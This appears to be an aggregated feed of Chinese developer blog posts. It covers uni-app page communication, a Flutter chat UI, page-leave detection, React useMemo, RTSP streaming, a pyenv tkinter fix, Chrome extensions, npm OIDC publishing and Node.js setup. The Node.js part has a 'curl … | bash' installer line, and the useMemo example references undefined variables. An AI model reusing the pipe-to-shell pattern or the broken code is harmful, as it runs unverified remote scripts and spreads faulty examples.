使用其他跨页面通信方式,如 URL 参数、localStorage、vuex 等。

代码示例

// 方案一:使用 URL 参数传递数据
// 页面 A
uni.navigateTo({
  url: `/pages/pageB/pageB?data=hello`
});

// 页面 B
onLoad(options) {
  console.log(options.data); // hello
}

// 方案二:使用 localStorage 进行跨页面通信
// 页面 A
uni.setStorageSync('pageData', { message: 'hello' });

// 页面 B
onShow() {
  const data = uni.getStorageSync('pageData');
  console.log(data.message); // hello
}

// 方案三:使用 vuex 进行状态管理
// store/index.js
import Vue from 'vue';
import Vuex from 'vuex';

Vue.use(Vuex);

export default new Vuex.Store({
  state: {
    message: ''
  },
  mutations: {
    setMessage(state, message) {
      state.message = message;
    }
  },
  actions: {
    updateMessage({ commit }, message) {
      commit('setMessage', message);
    }
  },
  getters: {
    getMessage(state) {
      return state.message;
    }
  }
});

// 页面 A
import store from '@/store';
store.dispatch('updateMessage', 'hello');

// 页面 B
import store from '@/store';
onShow() {
  console.log(store.getters.getMessage); // hello
}

// 方案四:使用事件总线(适用于 Vue 2)
// main.js
Vue.prototype.$bus = new Vue();

// 页面 A
this.$bus.$emit('customEvent', { message: 'hello' });

// 页面 B
created() {
  this.$bus.$on('customEvent', (data) => {
    console.log(data.message); // hello
  });
}

总结

以上是 iOS 和 HarmonyOS 兼容开发中的常见问题及解决方案,包括:

  1. iOS 审核域名限制问题
  2. iOS scroll-view 内 fixed 定位弹框被遮挡
  3. iOS plus.io.chooseFile() 返回路径处理问题
  4. HarmonyOS picker 组件异步数据渲染问题
  5. HarmonyOS uni.getLocation 坐标系转换问题
  6. HarmonyOS uni.chooseImage 不兼容 5.0
  7. 高频同步 I/O 操作导致卡顿/闪退
  8. HarmonyOS 页面多次调用 uni.getStorageSync 性能问题
  9. uni.onuni.on、uni.emit 跨页面通信在 H5 打包后失效

在开发跨平台应用时,需要充分考虑不同平台的特性和限制,编写兼容代码,确保应用在各平台上都能正常运行。

Flutter 开发的极简风格聊天界面

作者 DreamMachine
2025年12月25日 16:26

770shots_so.jpeg

总结

  • 花时间重构了之前写的聊天程序的页面。
  • 使用最新的Flutter Sdk 重写。
  • 优化了高斯模糊的写法。
  • 优化了对安全区域的判断逻辑。
  • 增加文字和图片的发送效果。
  • 增加图片查看功能。

项目中使用到的一些第三方组件

get: ^4.7.3

# 系统接口
device_info_plus: ^12.2.0           # 设备信息(全平台支持)
permission_handler: ^12.0.1         # 权限处理(不支持PC - MacOS)

# 图像渲染
flutter_svg: ^2.2.3
extended_image: ^10.0.1             # 图片展示

# 数据存储
xml: ^6.6.1                         # xml解析 - 解析表情包文件
shared_preferences: ^2.5.4

# UI交互
easy_refresh: ^3.4.0                # 下拉刷新
flutter_slidable: ^4.0.3            # 滑动删除
flutter_smart_dialog: ^4.9.8+9      # 消息弹窗
flutter_keyboard_visibility: ^6.0.0 # 键盘状态监听
chat_bottom_container: ^0.4.0       # 输入框切换动画组件

# 本地资源选择
wechat_assets_picker: ^10.0.0       # 图片\视频选择器(不支持PC)
wechat_camera_picker: ^4.4.0        # 图片\视频拍摄器(不支持PC)

关于IOS上的一些权限配置

Podfile 文件

post_install do |installer|
  installer.pods_project.targets.each do |target|
    flutter_additional_ios_build_settings(target)
      target.build_configurations.each do |config|
        config.build_settings['GCC_PREPROCESSOR_DEFINITIONS'] ||= [
      '$(inherited)',
      'PERMISSION_CAMERA=1',
      'PERMISSION_PHOTOS=1',
      'PERMISSION_MICROPHONE=1',
      ]
    end
  end
end

Info.plist 中增加对权限的描述

<key>NSCameraUsageDescription</key>
<string>xxx</string>
<key>NSAppleMusicUsageDescription</key>
<string>xxx</string>
<key>NSMicrophoneUsageDescription</key>
<string>xxx</string>
<key>NSPhotoLibraryAddUsageDescription</key>
<string>xxx</string>
<key>NSPhotoLibraryUsageDescription</key>
  <string>xxx</string>

自定义滚动透明化的Appbar标题

12月25日.gif

/// 滚动动画的App标题
mixin AppBarMixin on GetxController {
  /// 控制Appbar标题透明度的控制器
  AnimationController? fadeController;

  /// 透明度动画参数
  late Animation<double> fadeAnimation;

  /// 滚动列表的控制器
  final ScrollController scrollController = ScrollController();

  /// 初始化
  void onInitAnimation(GetSingleTickerProviderStateMixin item) {
    fadeController = AnimationController(
      duration: Duration(milliseconds: 300),
      vsync: item,
    );
    fadeAnimation = Tween<double>(begin: 0, end: 1).animate(fadeController!);

    scrollController.addListener(() {
      if (scrollController.offset >= 50) {
        //titleOpacity.value = 1;
        fadeController?.forward();
      } else {
        if (fadeAnimation.value != 0 && scrollController.offset > 0) {
          var fade = scrollController.offset / 50;
          fadeController?.animateTo(fade);
        } else {
          //titleOpacity.value = 0;
          fadeController?.reverse();
        }
      }
    });
  }

  @override
  void onClose() {
    fadeController?.dispose();
    scrollController.dispose();
    super.onClose();
  }
}

Hero动画

动画的Key需要传递到第二个页面。

12月25日.gif

Get.to(
       () => PreviewImagePage(),
        transition: Transition.noTransition,
        arguments: {
       "hero": message.heroKey,
       "source": imageMessage.image,
  },
);

 /// Hero 动画 Key
String heroKey = Get.arguments['hero'];

Hero(
   tag: heroKey,
   child: widget,
),

输入框切换动画

12月25日(1).gif

使用的第三方组件
chat_bottom_container: ^0.4.0       # 输入框切换动画组件

消息定义

import 'dart:math';

/// 消息基类
abstract class Message {
  final String name;
  final String avatar;
  final bool self;

  final String id = Random().nextInt(100000000).toString();

  /// 正在发送
  final bool sending = false;

  /// 发送失败
  final bool failed = false;

  /// 是否群聊
  final bool isGroup = false;

  abstract final bool center;
  abstract final bool canClick;
  abstract final MessageKind kind;

  Message({
    required this.avatar,
    required this.name,
    required this.self,
  });
}

enum MessageKind {
  unkonw,
  text,
  image,
  video,
}

/// 文本消息
class TextMessage extends Message {
  final String text;

  TextMessage({
    required this.text,
    required super.avatar,
    required super.name,
    required super.self,
  });

  @override
  bool get center => false;

  @override
  bool get canClick => false;

  @override
  MessageKind get kind => MessageKind.text;
}

/// 图片消息
class ImageMessage extends Message {
  final String image;
  final double w;
  final double h;

  ImageMessage({
    required this.image,
    required super.avatar,
    required super.name,
    required super.self,
    required this.w,
    required this.h,
  });

  /// 跳转的页动画Key
  String get heroKey => "PreviewImage-$id";

  @override
  bool get center => false;

  @override
  bool get canClick => true;

  @override
  MessageKind get kind => MessageKind.image;
}

前端处理用户离开当前页面的方案及对比解析

作者 DEMO派
2025年12月25日 16:25

判断用户是否离开当前页面主要有以下几种方法,每种方法有不同的适用场景和优缺点

1. visibilitychange 事件

当用户切换标签页、最小化窗口或离开浏览器时触发

document.addEventListener('visibilitychange', function() {
  if (document.hidden) {
    // 页面隐藏(用户离开)
    console.log('用户离开了页面');
  } else {
    // 页面可见(用户返回)
    console.log('用户返回了页面');
  }
});

优点: 标准API,兼容性好(IE10+) 性能消耗小 准确判断标签页切换 支持移动设备

缺点: 无法判断浏览器关闭或电脑休眠 用户可能在同一个标签页内操作其他应用

2. beforeunload 事件

用户关闭标签页、刷新页面或导航到其他页面时触发。

window.addEventListener('beforeunload', function(e) {
  // 可以显示确认对话框(某些浏览器限制自定义消息)
  e.preventDefault();
  e.returnValue = ''; // Chrome等现代浏览器要求设置returnValue
  return null; // 兼容老版本
});

优点: 能捕获页面关闭/刷新 可以阻止离开(在某些浏览器中)

缺点: 不能用于发送异步请求(浏览器可能不等待) 用户体验较差(弹出确认框) 移动端支持有限 某些浏览器限制自定义消息

3. pagehide 事件

类似beforeunload,但更现代。

window.addEventListener('pagehide', function() {
  // 发送数据到服务器
  navigator.sendBeacon('/api/log-exit', data);
});

优点: 支持sendBeacon,适合发送离开数据 比beforeunload更可靠

缺点: IE10+支持,但老版本IE不支持

4. unload 事件

window.addEventListener('unload', () => {
    // 页面即将卸载
});

优点: 明确表示页面卸载

缺点: 现代浏览器中异步请求可能被取消 影响 bfcache 不推荐用于发送请求

5. Beacon API(navigator.sendBeacon)

window.addEventListener('pagehide', () => {
    navigator.sendBeacon('/api/log', data);
});

优点: 专为页面卸载时发送数据设计 异步发送,可靠且不阻塞页面卸载 不受 bfcache 影响

缺点: 只能发送少量数据(通常限制在 64KB) 无法接收服务器响应 需要后端配合接收数据

6. 心跳检测(Heartbeat)

// 客户端
let lastActive = Date.now();

setInterval(() => {
  fetch('/api/heartbeat', {
    method: 'POST',
    keepalive: true
  });
}, 30000); // 每30秒发送一次

// 监听用户活动
document.addEventListener('mousemove', updateLastActive);
document.addEventListener('keypress', updateLastActive);

function updateLastActive() {
  lastActive = Date.now();
}

优点: 最准确,能判断真实离开 不受浏览器标签页切换影响

缺点: 需要服务器支持 增加网络负载 实时性较差

7. 关闭前发送同步请求

window.addEventListener('beforeunload', () => {
    const xhr = new XMLHttpRequest();
    xhr.open('POST', '/api/log', false); // 同步请求
    xhr.send(data);
});

优点: 可确保请求发送

缺点: 阻塞页面卸载,影响用户体验 现代浏览器可能限制同步请求 不推荐使用

总结与建议

在这里插入图片描述

推荐方案

1. 需要提示用户保存数据

window.addEventListener('beforeunload', (e) => {
    if (hasUnsavedChanges) {
        e.preventDefault();
        e.returnValue = '';
    }
});

2. 需要在离开时上报数据

window.addEventListener('pagehide', () => {
    navigator.sendBeacon('/api/log', analyticsData);
});

3. 需要暂停页面资源

document.addEventListener('visibilitychange', () => {
    if (document.visibilityState === 'hidden') {
        videoElement.pause();
    }
});

4. 单页应用(SPA)的路由离开:

使用路由守卫(如 Vue Router 的 beforeEach,React Router 的 useBlocker)

5. 组合使用

// 页面隐藏时先尝试上报
document.addEventListener('visibilitychange', () => {
    if (document.visibilityState === 'hidden') {
        sendAnalytics();
    }
});
// 页面卸载时用 Beacon 补发
window.addEventListener('pagehide', () => {
    navigator.sendBeacon('/api/log', finalData);
});

注意事项

  1. 避免在卸载事件中执行耗时操作

  2. 优先使用 visibilitychange 和 pagehide,避免使用 beforeunload 除非必要

  3. 数据上报优先使用 Beacon API,其次考虑 fetch 的 keepalive 选项

  4. 单页应用应结合路由生命周期进行状态管理

在这里插入图片描述

useMemo

作者 frontend丶CV
2025年12月25日 15:42

上次我分享了关于 useCallback的相关内容,有兴趣的可以去看一下,并且也欢迎大家对我的文章提出问题

组件涉及到的优化方式

为什么我们需要去优化React组件?,React在组件的渲染上会有什么问题?

  • React组件有个特性,在不进行优化处理时父组件更新的时,子组件一定会重新渲染

优化的角度

  • 减少组件的不必要渲染
  • 提高组件的可读性以及减少复杂度,避免出现难以发现的bug

useMemo

useMemo 是一个 React Hook,它在每次重新渲染的时候能够缓存计算的结果。

  • 也就是说通过useMemo后在依赖项不发生变化时,可以不去进行大量非必要的计算,直接得到上次计算的结果
const cachedValue = useMemo(calculateValue, dependencies)

上代码


const filterTodo = (num: number) => {
  console.time("start");
  for (let index = 0; index < num; index++) {
    const elementNode = document.createElement("div");
  }
  console.timeEnd("start");
  return;
};
const Com2 = React.memo((props: any) => {
  console.log("Com2===> 重新渲染了");
  const [com2Data, setCom2Data] = useState(10000);
  
  const [data, setData] = useState(0);
  
  const visibleTodos = filterTodo(com2Data);

  return (
    <>
      <span>Com2的数据: {com2Data}</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      <br />
      <br />
      <button
        onClick={() => {
          setCom2Data(com2Data+1);
        }}
      >
        点击Com2数据
      </button>
    </>
  );
});

function App() {
  const [appData, setAppData] = useState(0);

  console.log("App===> 重新渲染了");

  const handleFun = useCallback(() => {
    console.log("我是一个函数");
  }, []);

  return (
    <>
      <span>Com2的数据: {com2Data}</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      <br />
       <span>Com2的数据data: {data}</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      <br />
      <button
        onClick={() => {
          setCom2Data(com2Data);
        }}
      >
        点击Com2数据
      </button>
      <button
        onClick={() => {
          setCom2Data(com2Data);
        }}
      >
        点击Com2数据
      </button>
    </>
  );
}

export default App;

image.png

  • 点击下appData按钮

image.png 不出意外,这也是我们期待的,因为唯一的props被useCallback包裹

  • 点击下Com2按钮

image.png

也不出意外,是预料之内的,但是每次渲染都会触发filterTodo这里也没啥太大问题,损耗的时间也不多,但是如果大量计算的时候,这里的损耗就要值得关注了

这时候useMemo就该出场了

const Com2 = React.memo((props: any) => {
  console.log("Com2===> 重新渲染了");
  const [com2Data, setCom2Data] = useState(10000);
  const [data, setData] = useState(0);

  const visibleTodos = useMemo(() =>filterTodo(100000),[com2Data]);

  return (
    <>
      <span>Com2的数据: {com2Data}</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      <br />
       <span>Com2的数据data: {data}</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      <br />
      <button
        onClick={() => {
          setCom2Data(com2Data);
        }}
      >
        点击Com2Data
      </button>
      <button
        onClick={() => {
          setCom2Data(com2Data);
        }}
      >
        点击Com2Data
      </button>
    </>
  );
});

基于 node-rtsp-stream 的 Web 直播方案详解

作者 明月_清风
2025年12月25日 15:41

node-rtsp-stream 是一个经典的 Node.js 库,用于将 RTSP 流(如 IP 摄像头)通过 FFmpeg 转码为 MPEG1 格式,并经 WebSocket 推送给浏览器,使用 jsmpeg 客户端解码播放,实现低延迟的网页直播。适合监控、实时视频等场景。

注意:该库最后更新于 6 年前(npm 版本 0.0.9),但核心功能仍可用(依赖 FFmpeg 和 WebSocket)。如果遇到兼容问题,可考虑 fork 版本如 node-rtsp-stream-es6 或更现代的替代(如 rtsp-relay + WebRTC)。

1. 环境准备

  • 安装 Node.js(推荐 v18+)
  • 安装 FFmpeg(必须,确保系统 PATH 中可访问 ffmpeg 命令)
    • Windows:从官网下载并添加 PATH
    • Linux:sudo apt install ffmpeg
    • macOS:brew install ffmpeg
  • 创建项目文件夹:
    mkdir rtsp-web-live
    cd rtsp-web-live
    npm init -y
    npm install node-rtsp-stream
    

2. 服务器端代码(server.js)

创建一个 Node.js 服务器,启动 RTSP 转 WebSocket 流。

const Stream = require('node-rtsp-stream');

const stream = new Stream({
  name: 'camera-live',                          // 流名称(可选)
  streamUrl: 'rtsp://your-rtsp-url',            // 替换为你的 RTSP 地址,例如:
                                                // rtsp://admin:12345@192.168.1.100:554/Streaming/Channels/101
                                                // 测试用公开流:rtsp://wowzaec2demo.streamlock.net/vod/mp4:BigBuckBunny_115k.mov
  wsPort: 9999,                                 // WebSocket 监听端口
  ffmpegOptions: {                              // FFmpeg 参数(可选优化)
    '-stats': '',                               // 显示统计
    '-r': 30,                                   // 输出帧率(建议与源匹配)
    '-b:v': '1M',                               // 视频比特率(控制画质/流量)
    '-bf': 0,                                   // 禁用 B 帧(降低延迟)
    '-rtsp_transport': 'tcp'                    // 使用 TCP 传输(更稳定,UDP 可能丢包)
  }
});

console.log('RTSP 流已启动,WebSocket 监听在 ws://你的服务器IP:9999');

运行服务器:

node server.js

3. 客户端网页播放(index.html)

创建一个简单的 HTML 文件,使用 jsmpeg 在浏览器中播放。

<!DOCTYPE html>
<html lang="zh">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>RTSP Web 直播</title>
  <style>
    body { margin: 0; background: #000; display: flex; justify-content: center; align-items: center; height: 100vh; }
    canvas { max-width: 100%; max-height: 100vh; }
  </style>
</head>
<body>
  <canvas id="videoCanvas"></canvas>

  <!-- 从 CDN 加载 jsmpeg(最新版) -->
  <script src="https://cdnjs.cloudflare.com/ajax/libs/jsmpeg/0.2/jsmpeg.min.js"></script>
  <script>
    const player = new JSMpeg.Player('ws://你的服务器IP:9999', {
      canvas: document.getElementById('videoCanvas'),
      autoplay: true,          // 自动播放
      audio: false,            // 大多数 RTSP 无音频,或关闭以减少负载
      videoBufferSize: 512 * 1024,  // 增大缓冲(可选,改善卡顿)
      onVideoDecode: () => console.log('视频解码中...')  // 可选日志
    });
  </script>
</body>
</html>
  • 用浏览器打开此 HTML 文件(或通过简单 HTTP 服务器如 npx serve 托管)。
  • 替换 ws://你的服务器IP:9999 为实际地址(局域网测试用本地 IP,公网需端口映射)。

4. 多路摄像头支持

每个流需独立 WebSocket 端口:

// 多路示例
new Stream({ streamUrl: 'rtsp://cam1-url', wsPort: 9999 });
new Stream({ streamUrl: 'rtsp://cam2-url', wsPort: 10000 });
// 客户端对应不同 wsPort 播放

5. 常见问题与优化

  • 延迟:通常 1-3 秒(MPEG1 + WebSocket 特性),适合监控,不适合超低延迟(<1s 用 WebRTC 方案)。
  • 画质/卡顿:调整 -r-b:v、分辨率(如添加 -s 640x480)。
  • 无视频:检查 RTSP URL(用 VLC 测试),确保摄像头帧率 ≥15fps。
  • 音频:若需音频,设 audio: true,但 MPEG1 音频支持有限。
  • 安全性:公网部署加 HTTPS/WSS,或认证。
  • 错误日志:服务器运行时观察控制台 FFmpeg 输出。

6. 测试建议

用公开 RTSP 测试流验证: rtsp://wowzaec2demo.streamlock.net/vod/mp4:BigBuckBunny_115k.mov

pyenv 安装的 python 版本缺少 tkinter 报错 import _tkinter # If this fails your Python xxx

作者 卡尔特斯
2025年12月25日 15:25

一、简介

  • 使用 tkinter 生成页面的时候报错:

    Traceback (most recent call last):
      File "/Users/xxx/Desktop/Project/python/duanju_python_pczs/gui.py", line 20, in <module>
        import tkinter as tk
      File "/Users/xxx/.pyenv/versions/3.11.0/lib/python3.11/tkinter/__init__.py", line 38, in <module>
        import _tkinter # If this fails your Python may not be configured for Tk
        ^^^^^^^^^^^^^^^
    ImportError: dlopen(/Users/xxx/.pyenv/versions/3.11.0/lib/python3.11/lib-dynload/_tkinter.cpython-311-darwin.so, 0x0002): Library not loaded: /opt/homebrew/opt/tcl-tk/lib/libtk8.6.dylib
      Referenced from: <E1D3F9E7-858B-3AC7-9D7B-9827F56D3FEF> /Users/xxx/.pyenv/versions/3.11.0/lib/python3.11/lib-dynload/_tkinter.cpython-311-darwin.so
      Reason: tried: '/opt/homebrew/opt/tcl-tk/lib/libtk8.6.dylib' (no such file), '/System/Volumes/Preboot/Cryptexes/OS/opt/homebrew/opt/tcl-tk/lib/libtk8.6.dylib' (no such file), '/opt/homebrew/opt/tcl-tk/lib/libtk8.6.dylib' (no such file), '/opt/homebrew/Cellar/tcl-tk/9.0.2/lib/libtk8.6.dylib' (no such file), '/System/Volumes/Preboot/Cryptexes/OS/opt/homebrew/Cellar/tcl-tk/9.0.2/lib/libtk8.6.dylib' (no such file), '/opt/homebrew/Cellar/tcl-tk/9.0.2/lib/libtk8.6.dylib' (no such file)
    
  • 原因是:

    当前的 Python 是用 pyenv 装的,但系统里没有它期望版本的 tcl-tk (8.6),只装了 tcl-tk 9.x,导致 _tkinter 动态库加载失败。

二、Mac 解决方案

  • 使用 brew 搜索 $ brew search tcl-tk 并安装 brew install tcl-tk@8

  • 配置环境变量

    $ open ~/.zshrc
    

    不推荐是 /opt/homebrew/Cellar/tcl-tk@8/ 目录下的,推荐使用 /opt/homebrew/opt/tcl-tk@8/ 目录下的:

    export PATH="/opt/homebrew/opt/tcl-tk@8/bin:$PATH"
    export LDFLAGS="-L/opt/homebrew/opt/tcl-tk@8/lib"
    export CPPFLAGS="-I/opt/homebrew/opt/tcl-tk@8/include"
    export PKG_CONFIG_PATH="/opt/homebrew/opt/tcl-tk@8/lib/pkgconfig"
    

    报错后执行:

    $ source ~/.zshrc
    
  • 然后需要重装 python 版本,⚠️ 不重装 Python 是没用的,_tkinter 是编译期决定的

    $ pyenv uninstall 3.11.0
    $ pyenv install 3.11.0
    

    当然也有临时补丁方案,配置的环境变量不同,但是不能一劳永逸。

  • 重新安装好后,重新运行项目即可。

    image.png

二、Windows 解决方案

  • 暂时没遇到,遇到再补充....

Chrome 插件开发科普:从零开始打造你的浏览器小工具

作者 明月_清风
2025年12月25日 15:08

你有没有想过,为什么 Chrome 浏览器那么强大?很大程度上是因为它的“扩展程序”(俗称 Chrome 插件)。这些小工具可以帮你屏蔽广告、翻译网页、管理密码,甚至自动填写表单。它们就像浏览器的“超级英雄披风”,让普通浏览器变得无所不能。

其实,开发一个 Chrome 插件并不难!它本质上就是用你熟悉的 Web 技术(HTML、CSS、JavaScript)构建的小程序,加上一些 Chrome 专属的 API,就能实现神奇的功能。目前,Chrome 插件的主流标准是 Manifest V3(简称 MV3),这是 Google 从 2023 年起强制推行的版本,比老的 V2 更安全、更高效。

什么是 Chrome 插件?为什么值得学?

Chrome 插件(官方叫 Extensions)是一个压缩包,里面包含配置文件、脚本和资源文件。它可以:

  • 修改网页内容(比如自动高亮关键词)。
  • 添加浏览器按钮(点击弹出小窗口)。
  • 在后台运行(监听事件、存储数据)。
  • 与网页互动(注入脚本)。

学习开发插件的好处:

  • 门槛低:只需会前端基础。
  • 实用性强:解决个人痛点,或分享给别人。
  • 潜力大:上传到 Chrome 网上应用店,就能被全球用户安装。

插件的核心结构

一个最简单的插件只需要一个文件夹,里面放几个文件:

  1. manifest.json:插件的“身份证”,必须放在根目录。它定义插件名称、版本、权限和功能。基本内容大概这样:

    {
      "manifest_version": 3,
      "name": "我的第一个插件",
      "version": "1.0",
      "description": "一个简单的 Hello World 插件",
      "action": {
        "default_popup": "popup.html",
        "default_icon": "icon.png"
      },
      "permissions": ["storage", "activeTab"]
    }
    
  2. popup.html:点击插件图标时弹出的小窗口界面。弹出窗口(popup)界面。你可以用 HTML + CSS 随意设计。

  3. 其他常见文件

    • background.js(服务工作者):后台脚本,处理事件。
    • content.js:注入到网页的脚本,能直接操作页面 DOM。
    • icon.png:插件图标(推荐 128x128 像素)。

如何从零开始开发一个插件?

  1. 创建文件夹:新建一个空文件夹,比如叫 my-extension

  2. 写 manifest.json:复制上面的示例。

  3. 添加 popup.html

    <!DOCTYPE html>
    <html>
    <body>
      <h1>Hello World!</h1>
      <script src="popup.js"></script>
    </body>
    </html>
    
  4. 加载测试

    • 打开 Chrome,输入 chrome://extensions/
    • 开启右上角“开发者模式”。
    • 点击“加载已解压的扩展程序”,选择你的文件夹。
    • 刷新页面,插件图标就出现在工具栏了!点击试试。
  5. 调试:修改代码后,在扩展页面点击“重新加载”。用开发者工具(F12)查看 console 日志。

进阶功能举例

  • 改变网页背景:用 content script 注入 JS 修改 document.body.style.backgroundColor
  • 存储数据:用 chrome.storage API 保存用户设置。
  • 通信:popup 和 background 用 chrome.runtime.sendMessage 互相发消息。

官方推荐的入门教程:从一个 “Hello World” 开始,逐步添加功能(参考 Chrome 官方文档)。

发布你的插件

开发好了?打包成 .zip,注册 Chrome Web Store 开发者账号(需付一次性 5 美元),上传审核,就能上架了!

结语

Chrome 插件开发就像搭积木:简单部件组合出强大功能。很多人从一个“小痒点”开始,比如“自动跳过视频广告”,最后开发出热门插件。感兴趣的话,从官方文档起步(developer.chrome.com/docs/extens…

动手试试吧,你的第一个插件可能就藏在下一个灵感里!

npm Classic Token 作废后,CI/CD 自动发包如何改?一份完整踩坑复盘

2025年12月24日 11:03

背景

最近在给 npm 包做 CI 发版时,突然开始频繁失败,npm 的提示也非常直白:

image.png

Classic tokens have been revoked.
Granular tokens are now limited to 90 days and require 2FA by default.
Update your CI/CD workflows to avoid disruption.

一句话总结就是:

老的 npm token 方案,已经不适合 CI 了。

现在就记录一次完整的 CI/CD 改造过程,包含:

  • npm 新规则到底改了什么
  • CI 为什么会突然发布失败
  • 过程中遇到的几个“必踩坑”
  • 最终一套可长期运行的 GitHub Actions 发包方案

一、npm 这次到底动了谁的蛋糕?

先说结论:

npm 正在彻底废弃“长期有效 token + npm login”的发布模型。

核心变化有三点。

1. Classic Token 作废

以前最常见的做法是:

env:
  NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

这种 Classic Token

  • 长期有效
  • 没有明确权限边界
  • 一旦泄露,后果很严重

现在 npm 明确表态:
Classic Token 不再推荐,并会逐步失效。


2. Granular Token 默认 90 天 + 2FA

新的 Granular Token:

  • 必须开启 2FA
  • 默认 90 天过期
  • 非常不适合无人值守的 CI

👉 这意味着:
即使你换成 Granular Token,CI 依然不稳定。


3. npm 开始强制推广 provenance(供应链校验)

这是最关键、也是最容易被忽略的一点。

npm 现在会校验:

  • 这个包是不是在 GitHub Actions 里发布的
  • 发布它的仓库是谁
  • package.json.repository 指向哪里
  • GitHub OIDC 身份是否匹配

校验失败,直接拒绝发布。


二、为什么“明明登录了”,还是发布失败?

我们最初遇到的错误包括:

❌ ENEEDAUTH

npm error need auth This command requires you to be logged in

原因很简单:

  • CI 里已经不再支持老的登录方式
  • token 被判定为过期或 revoked

❌ 404 / E404

404 '@scope/package@x.y.z' is not in this registry

这个错误非常迷惑,但本质上是:

npm 拒绝了你的发布请求,并不是包不存在。


❌ 422 Unprocessable Entity(最坑)

Error verifying sigstore provenance bundle:
package.json: "repository.url" is ""
expected to match "https://github.com/infinilabs/ci"

这一步,几乎是所有人都会踩的坑。


三、npm provenance 校验在校验什么?

npm 的逻辑是:

我不只要你能发布,我还要知道你是从哪里发布的。

它会做一组严格匹配:

校验项 来源
GitHub Actions 所在仓库 CI
OIDC 身份 GitHub
package.json.repository.url 包元数据

只要有一个不一致:

👉 422,拒绝发布。


四、为什么构建产物里的 package.json 会出问题?

我们的发布流程是:

pnpm run build:web
cd out/search-chat
npm publish

注意重点:

真正 publish 的不是源码目录,而是构建产物目录。

很多项目在 build 后:

  • package.json 是重新生成的
  • repository 为空
  • 或指向源码仓库,而不是 CI 仓库

这在 npm provenance 时代,直接就是死刑。


五、正确的 CI 改造思路

目标很明确:

不用 npm token,不用 npm login,让 CI 自己完成身份认证。

核心方案是:

✅ GitHub Actions + OIDC + npm provenance


六、关键改造点一:npm 账户设置以及包设置

npm 账户设置:

image.png

npm 对应包设置:

image.png

image.png


七、关键改造点二:开启 OIDC 权限

在 workflow 顶部增加:

permissions:
  contents: read
  id-token: write

这一步非常关键:

  • id-token: write 是 npm provenance 的前提
  • 没有它,npm 无法验证 CI 身份

八、关键改造点三:彻底移除 npm token

我们做了三件事:

  • 删除 NODE_AUTH_TOKEN
  • 删除 .npmrc
  • 不再执行 npm login

CI 里只保留:

npm publish

GitHub Actions 会自动用 OIDC 身份和 npm 通信。


九、关键改造点四:修正构建产物里的 repository

在真正 publish 前,强制修正 package.json

jq '.repository = {
  "type": "git",
  "url": "https://github.com/infinilabs/ci"
}' package.json > tmp.json && mv tmp.json package.json

注意几个要点:

  • URL 必须是当前 CI 所在仓库
  • 不能是源码仓库
  • 不能为空
  • 必须是 https GitHub 地址

十、最终发布流程(核心片段)

pnpm run build:web
cd out/search-chat

# 修正 repository
jq '.repository = {
  "type": "git",
  "url": "https://github.com/infinilabs/ci"
}' package.json > tmp.json && mv tmp.json package.json

# 发布
npm publish

发布成功时,npm 会输出:

  • provenance 已签名
  • 已写入 sigstore transparency log

十一、为什么不直接关 provenance?

npm 提供了:

npm publish --no-provenance

但这只是一个 临时选项

  • 官方趋势是默认开启
  • 未来可能直接强制
  • CI 早适配,后面少折腾

十二、这次改造后的收益

最终我们得到的是一套:

  • ✅ 无 token
  • ✅ 无 2FA 人工参与
  • ✅ 不会过期
  • ✅ 可审计、可追溯
  • ✅ 符合 npm 官方长期路线

真正意义上的 无人值守 CI 发包


十三、小结

npm 不再相信“你是谁”,
它只相信 你从哪里来

在这个前提下,
OIDC + provenance,不是可选项,而是必选项。

Node.js基础与常用模块

作者 若梦plus
2025年8月7日 22:47

Node.js基础与常用模块

目录

  1. Node.js介绍与安装
  2. Node.js核心模块详解
  3. 文件系统操作
  4. 进程管理模块
  5. 网络通信模块
  6. 数据处理模块
  7. 最佳实践与常见问题

相关资料


Node.js介绍与安装

什么是Node.js?

Node.js是一个基于Chrome V8引擎的JavaScript运行时环境,使JavaScript能够在服务器端运行。它采用事件驱动、非阻塞I/O模型,使其轻量且高效。

Node.js的特点
graph TD
    A[Node.js特点] --> B[事件驱动架构]
    A --> C[非阻塞I/O]
    A --> D[单线程模型]
    A --> E[跨平台支持]
    A --> F[丰富的包生态]
    
    B --> B1[基于事件循环]
    B --> B2[高并发处理]
    
    C --> C1[异步操作]
    C --> C2[高效资源利用]
    
    D --> D1[避免线程切换开销]
    D --> D2[简化并发编程]
    
    E --> E1[Windows/macOS/Linux]
    E --> E2[容器化支持]
    
    F --> F1[npm生态系统]
    F --> F2[模块化开发]

核心优势:

  • 高性能:基于V8引擎的快速执行
  • 高并发:事件循环机制处理大量并发连接
  • 统一语言栈:前后端使用同一种语言
  • 实时应用:非常适合构建实时应用(如聊天室、游戏服务器)

安装Node.js

为什么选择Volta?

Volta是一个快速、可靠的JavaScript工具链管理器,具有以下优势:

  • 跨平台兼容:Windows、macOS、Linux全平台支持
  • 项目级版本管理:每个项目可以使用不同的Node.js版本
  • 无缝切换:自动检测并切换到项目所需的版本
  • 速度快:用Rust编写,启动速度极快
  • 团队协作:确保团队使用统一的工具版本
还有其他选择
工具 优点 缺点 推荐场景
Volta 快速、自动切换、团队友好 相对较新 现代开发团队
nvm 成熟稳定、功能丰富 Windows支持不佳 Unix系统
fnm 速度快、跨平台 功能相对简单 个人开发
n 简单易用 仅支持Unix 简单场景

使用Volta安装Node.js

在Windows上安装Volta
// 使用PowerShell安装
// 下载并运行安装脚本
curl https://get.volta.sh | bash

// 或者从官网下载安装包
// https://github.com/volta-cli/volta/releases
在macOS/Linux上安装Volta
# 使用curl安装
curl https://get.volta.sh | bash

# 重新加载shell配置
source ~/.bashrc
# 或者
source ~/.zshrc

# 验证安装
volta --version
安装Node.js和npm
# 安装最新LTS版本的Node.js
volta install node

# 安装特定版本
volta install node@18.17.0

# 安装npm特定版本
volta install npm@9.8.0

# 查看已安装的工具
volta list

创建并管理项目

使用npm初始化项目
# 创建项目目录
mkdir my-node-app
cd my-node-app

# 初始化package.json
npm init -y

# 或者交互式初始化
npm init

package.json示例:

{
  "name": "my-node-app",
  "version": "1.0.0",
  "description": "Node.js应用示例",
  "main": "index.js",
  "scripts": {
    "start": "node index.js",
    "dev": "nodemon index.js",
    "test": "jest",
